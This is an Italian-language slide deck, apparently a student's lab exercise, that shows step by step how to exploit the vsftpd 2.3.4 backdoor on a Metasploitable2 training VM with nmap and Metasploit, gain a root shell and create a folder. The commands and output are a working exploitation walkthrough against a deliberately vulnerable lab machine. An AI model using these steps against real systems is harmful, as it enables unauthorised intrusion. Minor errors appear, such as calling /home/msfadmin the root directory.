

The background of the slide is a dark, moody photograph. On the left side, there is a close-up of a combination lock with several dials visible, each showing numbers and letters. The lock is metallic and appears to be part of a larger device. To the right and slightly below the lock, there is a blurred image of a circuit board, showing various electronic components and traces. The overall lighting is low, creating a sense of mystery and technical complexity.

Hacking con Metasploit

Pablo Andres Balbuena Rios



Esercizio 1 Settimana 7

- Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica). L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable.
- Configuratelo come di seguito:
192.168.1.149/24. Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

Scansione macchina Metasploitable2

- Prima di fare la scansione, si deve fare un Ping per vedere se c'è connessione tra le due macchine
- Poi attraverso Nmap, andiamo a vedere se vi sono vulnerabilità sulle porte aperte, es: "vsftpd 2.3.4".

```
(kali㉿kali)-[~]
$ sudo su
[sudo] password for kali:
(kali㉿kali)-[~]
# ping -c 3 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data:
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.180 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.215 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.282 ms

— 192.168.1.149 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2053ms
rtt min/avg/max/mdev = 0.180/0.225/0.282/0.042 ms

(kali㉿kali)-[~]
# "sudo" nmap -p- -sC -sV --open -sS -n -Pn 192.168.1.149 -oN escaneo
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 03:15 EST
Nmap scan report for 192.168.1.149
Host is up (0.000048s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|  STAT:
```

Exploit

- Attraverso Metasploit proviamo a cercare la vulnerabilità attraverso la keyword "search".
- Averlo trovato lo usiamo attraverso la keywords "use" e settare IP bersaglio, attraverso la keyword "set".

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
msf6 > use 1
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format t
RHOSTS		yes	The target host(s), see
RPORT	21	yes	The target port (TCP)

Name	Current Setting	Required
CHOST		no
CPORT		no
Proxies		no
RHOSTS	192.168.1.149	yes
RPORT	21	yes

Payloads e Avviare la Shell

- Par avviare la shell, oltre ad usare exploit, bisogna usare anche il payload.
- Per cercarlo usiamo la keyword "show payload", poi bisogna settarlo attraverso la keyword "set payload 0".
- Infine attiviamo la Shell attraverso il comando "run".

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact                 normal         No    Unix Command, Interact with
Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload 0
payload => cmd/unix/interact
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.26:42375 -> 192.168.1.149:6200) at 2024-01-22 0
3:33:44 -0500

whoiam
```

Creare la directory

- Dopo essere entrato, ho messo un prompt con il comando "script /dev/null -c bash", per poi spostarsi nella directory root cioè "msfadmin".
- Quando arriviamo alla directory msfadmin, creiamo la directory "test_metasploit" usando il comando "mkdir".

```
script /dev/null -c bash
root@metasploitable:/# ls
bin    dev    initrd  lost+found  nohup.out  root  sys  var
boot   etc    initrd.img  media      opt        sbin  tmp  vmlinuz
cdrom  home   lib     mnt        proc       srv   usr

root@metasploitable:/# cd home
root@metasploitable:/home# ls
ftp  msfadmin  service  user
root@metasploitable:/home# ls
ftp  msfadmin  service  user
root@metasploitable:/home# cd msfadmin
root@metasploitable:/home/msfadmin# ls
vulnerable
root@metasploitable:/home/msfadmin# mkdir test_metasploit
root@metasploitable:/home/msfadmin# ls
test_metasploit  vulnerable
root@metasploitable:/home/msfadmin#
```

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ ls
test_metasploit  vulnerable
msfadmin@metasploitable:~$ _
```